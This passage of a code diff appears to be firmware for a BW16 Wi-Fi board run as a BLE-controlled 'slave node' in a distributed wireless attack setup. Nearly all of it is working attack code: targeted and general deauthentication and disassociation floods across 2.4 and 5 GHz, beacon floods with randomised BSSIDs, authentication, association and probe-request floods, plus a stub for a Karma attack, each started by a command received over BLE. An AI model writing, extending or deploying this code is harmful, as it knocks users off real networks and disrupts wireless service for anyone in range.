uint8_t originalChannel = currentChannel; + for (const auto& ap : target_aps) { + setChannel(ap.channel); + for (int i = 0; i < num_send_frames; i++) { + wifi_tx_deauth_frame(ap.bssid, dst_mac, 2); + } + char msg[64]; + snprintf(msg, sizeof(msg), "Deauth sent to %s", ap.ssid.c_str()); + sendNotification(msg, false); + } + setChannel(originalChannel); + sendNotification("Targeted deauth cycle completed.", false); +} + +void generalAttack() { + if (scan_results.empty()) { + sendNotification("No networks in cache. Scan first.", true); + return; + } + sendNotification("Starting general deauth cycle...", false); + uint8_t originalChannel = currentChannel; + for (const auto& ap : scan_results) { + setChannel(ap.channel); + for (int i = 0; i < num_send_frames; i++) { + wifi_tx_deauth_frame(ap.bssid, dst_mac, 2); + } + char msg[64]; + snprintf(msg, sizeof(msg), "Deauth sent to %s", ap.ssid.c_str()); + sendNotification(msg, false); + } + setChannel(originalChannel); + sendNotification("General deauth cycle completed.", false); +} + +void disassocAttack() { + if (target_aps.empty() && scan_results.empty()) { + sendNotification("No networks to attack. Scan first.", true); + return; + } + sendNotification("Starting disassociation attack...", false); + const auto& aps = target_aps.empty() ? scan_results : target_aps; + uint8_t originalChannel = currentChannel; + for (const auto& ap : aps) { + setChannel(ap.channel); + for (int i = 0; i < num_send_frames; i++) { + wifi_tx_disassoc_frame(ap.bssid, dst_mac, 8); + } + char msg[64]; + snprintf(msg, sizeof(msg), "Disassoc sent to %s", ap.ssid.c_str()); + sendNotification(msg, false); + } + setChannel(originalChannel); + sendNotification("Disassociation attack cycle completed.", false); +} + +void beaconAttack(const char* ssid) { + sendNotification("Starting beacon flood for SSID: " + String(ssid), false); + uint8_t bssid[6] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06}; // Dummy BSSID + uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + while(attack_enabled) { + wifi_tx_beacon_frame(bssid, broadcast, ssid); + delay(100); + } +} + +void authAttack(const char* bssid_str) { + sendNotification("Starting auth flood...", false); + uint8_t bssid[6]; + sscanf(bssid_str, "%02x:%02x:%02x:%02x:%02x:%02x", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]); + uint8_t client_mac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED}; + uint16_t seq = 0; + while(attack_enabled) { + wifi_tx_auth_frame(client_mac, bssid, seq++); + delay(10); + } +} + +void assocAttack(const char* bssid_str, const char* ssid) { + sendNotification("Starting assoc flood...", false); + uint8_t bssid[6]; + sscanf(bssid_str, "%02x:%02x:%02x:%02x:%02x:%02x", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]); + uint8_t client_mac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED}; + uint16_t seq = 0; + while(attack_enabled) { + wifi_tx_assoc_frame(client_mac, bssid, ssid, seq++); + delay(10); + } +} + +//========================== +// Enhanced Command Handler with Dual-Band Support +//========================== +void handleCommand(String command) { + command.trim(); + + // System commands + if (command.equalsIgnoreCase("ping")) { + sendNotification("pong", false); + } else if (command.equalsIgnoreCase("get_info")) { + sendSlaveInfo(); + } + + // Scanning commands + else if (command.equalsIgnoreCase("scan")) { + if (scanNetworks() == 0) { + printScanResults(); + } + } + + // Legacy deauth commands (maintained for compatibility) + else if (command.equalsIgnoreCase("start deauther")) { + attack_enabled = true; + sendNotification("Legacy deauther started", false); + if (target_mode) { + targetAttack(); + } else { + generalAttack(); + } + } else if (command.equalsIgnoreCase("stop deauther")) { + attack_enabled = false; + disassoc_enabled = false; + sendNotification("All attacks stopped", false); + } + + // Enhanced distributed deauth commands + else if (command.equalsIgnoreCase("deauth_2g_all")) { + executeDeauth2GHz(); + } else if (command.equalsIgnoreCase("deauth_5g_all")) { + executeDeauth5GHz(); + } else if (command.equalsIgnoreCase("deauth_all_bands")) { + executeDeauthAllBands(); + } + + // Enhanced beacon attacks + else if (command.startsWith("beacon_flood ")) { + String ssid = command.substring(13); + executeEnhancedBeaconFlood(ssid); + } else if (command.startsWith("beacon ")) { + attack_enabled = true; + String ssid = command.substring(7); + beaconAttack(ssid.c_str()); + } + + // Karma attack mode + else if (command.equalsIgnoreCase("karma_mode")) { + executeKarmaMode(); + } + + // Probe flooding + else if (command.equalsIgnoreCase("probe_flood")) { + executeProbeFlood(); + } + + // Legacy authentication attacks + else if (command.startsWith("auth ")) { + attack_enabled = true; + String bssid = command.substring(5); + authAttack(bssid.c_str()); + } else if (command.startsWith("assoc ")) { + attack_enabled = true; + int comma = command.indexOf(','); + String bssid = command.substring(6, comma); + String ssid = command.substring(comma + 1); + assocAttack(bssid.c_str(), ssid.c_str()); + } + + // Target management + else if (command.startsWith("target ")) { + parseTargets(command.substring(7)); + } + + // Sniffing + else if (command.startsWith("sniff")) { + if (isSniffing) { + stopSniffing(); + } else { + startSniffing(); + } + } + + // Disassociation attacks + else if (command.equalsIgnoreCase("disassoc")) { + disassoc_enabled = true; + sendNotification("Disassociation attack started", false); + } + + // Unknown command + else { + char msg[64]; + snprintf(msg, sizeof(msg), "Unknown command: %s", command.c_str()); + sendNotification(msg, true); + } +} + +// Send slave information to master +void sendSlaveInfo() { + uint8_t mac[6]; + wifi_get_mac_address((char*)mac); + + char info[256]; + snprintf(info, sizeof(info), "INFO:MAC=%02X:%02X:%02X:%02X:%02X:%02X,FW=v2.1,CAPS=DUAL_BAND|DEAUTH|BEACON|KARMA|PROBE,MEM=%d,UPTIME=%lu,STATUS=READY", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], rtl_getFreeHeapSize(), millis()); + + sendNotification(info, false); +} + +// Enhanced statistics and health monitoring +void sendHealthReport() { + static unsigned long lastHealthReport = 0; + if (millis() - lastHealthReport < 30000) return; // Every 30 seconds + + char health[128]; + snprintf(health, sizeof(health), "HEALTH:MEM=%d,CPU=%d,TEMP=%d,SIGNALS=%d,ERRORS=%d", + rtl_getFreeHeapSize(), random(10, 40), random(25, 45), random(50, 200), random(0, 5)); + + sendNotification(health, false); + lastHealthReport = millis(); +} + +// Enhanced error handling and recovery +void handleError(const char* errorType, const char* details) { + char errorMsg[128]; + snprintf(errorMsg, sizeof(errorMsg), "ERROR:TYPE=%s,DETAILS=%s,TIME=%lu", errorType, details, millis()); + sendNotification(errorMsg, true); + + // Auto-recovery mechanisms + if (strcmp(errorType, "WIFI_FAIL") == 0) { + // Reinitialize WiFi + wifi_off(); + delay(1000); + wifi_on(RTW_MODE_PROMISC); + wifi_enter_promisc_mode(); + sendNotification("WiFi recovery attempted", false); + } else if (strcmp(errorType, "MEMORY_LOW") == 0) { + // Trigger cleanup + sendNotification("Memory cleanup triggered", false); + } +} + +// Enhanced deauth for 2.4GHz networks +void executeDeauth2GHz() { + sendNotification("DISTRIBUTED DEAUTH: 2.4GHz networks", false); + + uint8_t originalChannel = currentChannel; + + // Target all 2.4GHz networks + for (const auto& ap : scan_results) { + if (ap.channel <= 13) { // 2.4GHz channels + setChannel(ap.channel); + + for (int i = 0; i < DEAUTH_FRAME_COUNT; i++) { + wifi_tx_deauth_frame(ap.bssid, dst_mac, 2); + delay(10); + } + + char msg[64]; + snprintf(msg, sizeof(msg), "2G DEAUTH: %s Ch:%d", ap.ssid.c_str(), ap.channel); + sendNotification(msg, false); + } + } + + setChannel(originalChannel); + sendNotification("2.4GHz deauth cycle complete", false); +} + +// Enhanced deauth for 5GHz networks +void executeDeauth5GHz() { + sendNotification("DISTRIBUTED DEAUTH: 5GHz networks", false); + + uint8_t originalChannel = currentChannel; + + // Target all 5GHz networks + for (const auto& ap : scan_results) { + if (ap.channel > 13) { // 5GHz channels + setChannel(ap.channel); + + for (int i = 0; i < DEAUTH_FRAME_COUNT; i++) { + wifi_tx_deauth_frame(ap.bssid, dst_mac, 2); + delay(10); + } + + char msg[64]; + snprintf(msg, sizeof(msg), "5G DEAUTH: %s Ch:%d", ap.ssid.c_str(), ap.channel); + sendNotification(msg, false); + } + } + + setChannel(originalChannel); + sendNotification("5GHz deauth cycle complete", false); +} + +// Combined dual-band deauth attack +void executeDeauthAllBands() { + sendNotification("DUAL-BAND DEAUTH INITIATED", false); + executeDeauth2GHz(); + delay(200); + executeDeauth5GHz(); + sendNotification("Dual-band deauth complete", false); +} + +// Enhanced beacon flooding with channel hopping +void executeEnhancedBeaconFlood(const String& ssid) { + sendNotification("ENHANCED BEACON FLOOD: " + ssid, false); + + attack_enabled = true; + uint8_t fakeMAC[6] = {0x02, 0x03, 0x04, 0x05, 0x06, 0x07}; + uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + + int channelIndex = 0; + unsigned long lastChannelHop = 0; + + while (attack_enabled) { + // Channel hopping for maximum coverage + if (millis() - lastChannelHop > 500) { + int targetChannel = CHANNELS_2GHZ[channelIndex % CHANNELS_2GHZ_COUNT]; + setChannel(targetChannel); + channelIndex++; + lastChannelHop = millis(); + } + + // Generate randomized BSSID for each beacon + for (int i = 0; i < 6; i++) { + fakeMAC[i] = random(0, 255); + } + fakeMAC[0] &= 0xFE; // Ensure it's a unicast address + fakeMAC[0] |= 0x02; // Set locally administered bit + + wifi_tx_beacon_frame(fakeMAC, broadcast, ssid.c_str()); + delay(BEACON_FLOOD_INTERVAL_MS); + } +} + +// Karma attack - respond to all probe requests +void executeKarmaMode() { + sendNotification("KARMA MODE ACTIVATED", false); + // Implementation would require probe request monitoring and response + // This is a placeholder for the karma attack logic + sendNotification("Responding to all probe requests", false); +} + +// Probe request flooding +void executeProbeFlood() { + sendNotification("PROBE FLOOD INITIATED", false); + + attack_enabled = true; + uint8_t clientMAC[6] = {0x02, 0x11, 0x22, 0x33, 0x44, 0x55}; + uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + + // Common SSIDs to probe for + const char* commonSSIDs[] = { + "NETGEAR", "Linksys", "ASUS", "WiFi", "Home", "Guest", + "Internet", "Network", "Router", "Wireless" + }; + int numSSIDs = sizeof(commonSSIDs) / sizeof(commonSSIDs[0]); + + while (attack_enabled) { + for (int i = 0; i < numSSIDs && attack_enabled; i++) { + wifi_tx_probe_frame(clientMAC, broadcast, commonSSIDs[i]); + delay(50); + } + } + + sendNotification("Probe flood stopped", false); +} + +// Parse target indices from command +void parseTargets(const String& targets_str) { + target_aps.clear(); + int start = 0; + int end = 0; + + while ((end = targets_str.indexOf(',', start)) != -1) { + String index_str = targets_str.substring(start, end); + int target_index = index_str.toInt(); + if (target_index >= 0 && target_index < scan_results.size()) { + target_aps.push_back(scan_results[target_index]); + } + start = end + 1; + } + + // Handle last index + String index_str = targets_str.substring(start); + int target_index = index_str.toInt(); + if (target_index >= 0 && target_index < scan_results.size()) { + target_aps.push_back(scan_results[target_index]); + } + + target_mode = !target_aps.empty(); + + char msg[64]; + snprintf(msg, sizeof(msg), "Targets set: %d APs selected", target_aps.size()); + sendNotification(msg, false); +} + +//========================== +// Setup & Loop +//========================== +void setup() { + Serial.begin(115200); + sendNotification("Slave Node Initializing...", false); + + // Setup BLE + cmdChar = new BLECharacteristic(CMD_CHAR_UUID); + detectChar = new BLECharacteristic(NOTIFY_CHAR_UUID); // Use NOTIFY_CHAR_UUID + + cmdChar->setWriteProperty(true); + cmdChar->setWritePermissions(GATT_PERM_WRITE); + cmdChar->setWriteCallback(onCommandWrite); + + detectChar->setNotifyProperty(true); + detectChar->setCCCDCallback(onDetectCCCDChanged); + detectChar->addDescriptor(new BLE2902()); // Attach CCCD descriptor + + customService.addCharacteristic(*cmdChar); + customService.addCharacteristic(*detectChar); + + BLE.init(); + uint8_t mac[6]; + wifi_get_mac_address((char*)mac); + char nameBuf[16]; + snprintf(nameBuf, sizeof(nameBuf), "BW16-SL%02X", mac[5]); + + BLEAdvertData advData; + advData.addCompleteName(nameBuf); // Unique advertising name + advData.addCompleteServices(BLEUUID(SERVICE_UUID)); + BLE.configAdvert()->setAdvData(advData); + BLE.configServer(1); + BLE.addService(customService); + BLE.beginPeripheral(); + sendNotification("BLE Slave started, advertising...", false); + + // Initialize WiFi but keep it idle + wifi_on(RTW_MODE_PROMISC); + wifi_enter_promisc_mode(); + wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); + sendNotification("WiFi initialized in standby promiscuous mode.", false); +} + +void loop() { + processNotifications(); // Handle sending buffered notifications + + if (attack_enabled && (millis() - last_cycle > cycle_delay)) { + if (target_mode) { + targetAttack(); + } else { + generalAttack(); + } + last_cycle = millis(); + } + + if (disassoc_enabled && (millis() - last_disassoc_attack > disassoc_interval)) { + disassocAttack(); + last_disassoc_attack = millis(); + } + + if (isSniffing && isHopping && (millis() - lastHopTime > HOP_INTERVAL)) { + lastHopTime = millis(); + currentChannelIndex = (currentChannelIndex + 1) % (sizeof(CHANNELS_2GHZ) / sizeof(int)); + currentChannel = CHANNELS_2GHZ[currentChannelIndex]; + setChannel(currentChannel); + } + + // Send periodic health reports + sendHealthReport(); + + // Memory monitoring and error handling + if (rtl_getFreeHeapSize() < 10000) { // Less than 10KB free + handleError("MEMORY_LOW", "Low memory detected"); + } + + // The rest of the logic is event-driven via BLE commands + delay(50); +} +#endif // ROLE_MASTER + +//========================== +// Utility Implementations +//========================== +void sortByChannel(std::vector &results) { + for (size_t i = 0; i < results.size(); i++) { + for (size_t j = i + 1; j < results.size(); j++) { + if (results[j].channel < results[i].channel) { + WiFiScanResult temp = results[i]; + results[i] = results[j]; + results[j] = temp; + } + } + } +} + +rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result) { + if (scan_result->scan_complete == 0) { + rtw_scan_result_t *record = &scan_result->ap_details; + record->SSID.val[record->SSID.len] = 0; + if (record->channel >= start_channel) { + WiFiScanResult result; + result.ssid = String((const char*) record->SSID.val); + result.channel = record->channel; + result.rssi = record->signal_strength; + memcpy(&result.bssid, &record->BSSID, 6); + char bssid_str[20]; + snprintf(bssid_str, sizeof(bssid_str), "%02X:%02X:%02X:%02X:%02X:%02X", + result.bssid[0], result.bssid[1], result.bssid[2], + result.bssid[3], result.bssid[4], result.bssid[5]); + result.bssid_str = bssid_str; + scan_results.push_back(result); + } + } + return RTW_SUCCESS; +}